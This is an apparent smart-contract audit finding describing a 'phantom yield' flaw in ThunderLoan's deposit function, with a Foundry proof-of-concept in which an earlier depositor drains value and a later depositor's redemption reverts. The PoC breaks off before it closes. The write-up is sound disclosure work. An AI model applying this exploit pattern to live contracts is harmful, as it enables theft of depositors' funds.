Description

Normal behavior

Deposits should mint AssetTokens proportional to the amount of underlying deposited. The AssetToken exchange rate should only increase when the protocol actually receives additional underlying value (e.g., real fees/yield).

Issue

ThunderLoan.deposit() increases the AssetToken exchange rate using a calculated fee even though no extra underlying is added during deposit. This creates “phantom yield”: earlier LPs can later redeem for more underlying than they contributed, effectively extracting value from later depositors. In extreme cases, later users may become unable to redeem because the AssetToken backing becomes insufficient.

Root cause (with code references)

In deposit() the contract:

mints shares using current exchange rate

computes calculatedFee

calls assetToken.updateExchangeRate(calculatedFee) before receiving any real fee/extra underlying

only then transfers the depositor’s underlying in

References:

src/protocol/ThunderLoan.sol 147–156: mint + updateExchangeRate(calculatedFee) + safeTransferFrom(...)

src/protocol/AssetToken.sol 80–96: updateExchangeRate(fee) assumes fee is real value added by using

newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

Because the “fee” used here is not actually added to the AssetToken’s underlying balance during deposits, exchangeRate increases without backing.

Risk

Likelihood

Occurs whenever a token is allowed and there is at least one existing LP (non-zero totalSupply()), and a new deposit is made.

No privileged role required.

Impact

Value extraction / theft: An early LP can redeem and receive more underlying than their fair share, draining value from later depositors due to artificially inflated exchangeRate.

Fund lock / insolvency risk: Later LP redemptions can revert or fail due to insufficient underlying remaining in the AssetToken contract.

Proof of Concept

Foundry PoC:
File: test/DepositPhantomYield.t.sol
Run:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import {BaseTest} from "./unit/BaseTest.t.sol";

import {AssetToken} from "../src/protocol/AssetToken.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract DepositPhantomYieldTest is BaseTest {

function test_DepositPhantomYield_AllowsOldLPToStealAndLocksNewLP() public {

// Owner (this test contract) allows tokenA and creates its AssetToken

AssetToken aToken = thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);

address attacker = makeAddr("attacker");

address victim = makeAddr("victim");

uint256 A1 = 1000e18;

uint256 A2 = 1000e18;

// Give both users tokenA

deal(address(tokenA), attacker, A1);

deal(address(tokenA), victim, A2);

// Attacker deposits first (becomes existing LP)

vm.startPrank(attacker);

tokenA.approve(address(thunderLoan), type(uint256).max);

thunderLoan.deposit(IERC20(address(tokenA)), A1);

vm.stopPrank();

// Victim deposits second (triggers phantom yield via updateExchangeRate(calculatedFee))

vm.startPrank(victim);

tokenA.approve(address(thunderLoan), type(uint256).max);

thunderLoan.deposit(IERC20(address(tokenA)), A2);

vm.stopPrank();

// Attacker redeems first and extracts more underlying than their fair contribution

uint256 attackerBalBefore = tokenA.balanceOf(attacker);

vm.startPrank(attacker);

thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);

vm.stopPrank();

uint256 attackerBalAfter = tokenA.balanceOf(attacker);

// attacker deposited A1, should never be able to withdraw > A1 absent real yield

assertGt(attackerBalAfter, attackerBalBefore);

assertGt(attackerBalAfter, A1);

// Victim tries to redeem and should fail because attacker drained too much backing

vm.startPrank(victim);

vm.expectRevert();

thunderLoan.redeem(IERC20(address(tokenA)), type(uint256).max);

vm.stopPrank();

// Sanity: remaining underlying in AssetToken is now initial deposit (profit).

Victim redeem reverts due to insufficient underlying backing remaining in AssetToken.

Recommended Mitigation

Do not call updateExchangeRate() during deposit() unless the protocol actually receives additional underlying (real fee/yield) at that moment.

If deposits should not generate yield, remove this line from deposit():

assetToken.updateExchangeRate(calculatedFee);

If the intention is to charge a deposit fee, then:

Actually collect a fee from the depositor (extra underlying) and transfer it into the AssetToken backing before updating exchange rate, OR

Mint fewer AssetTokens to the depositor to account for the fee (shares-based fee), without inflating exchange rate without backing.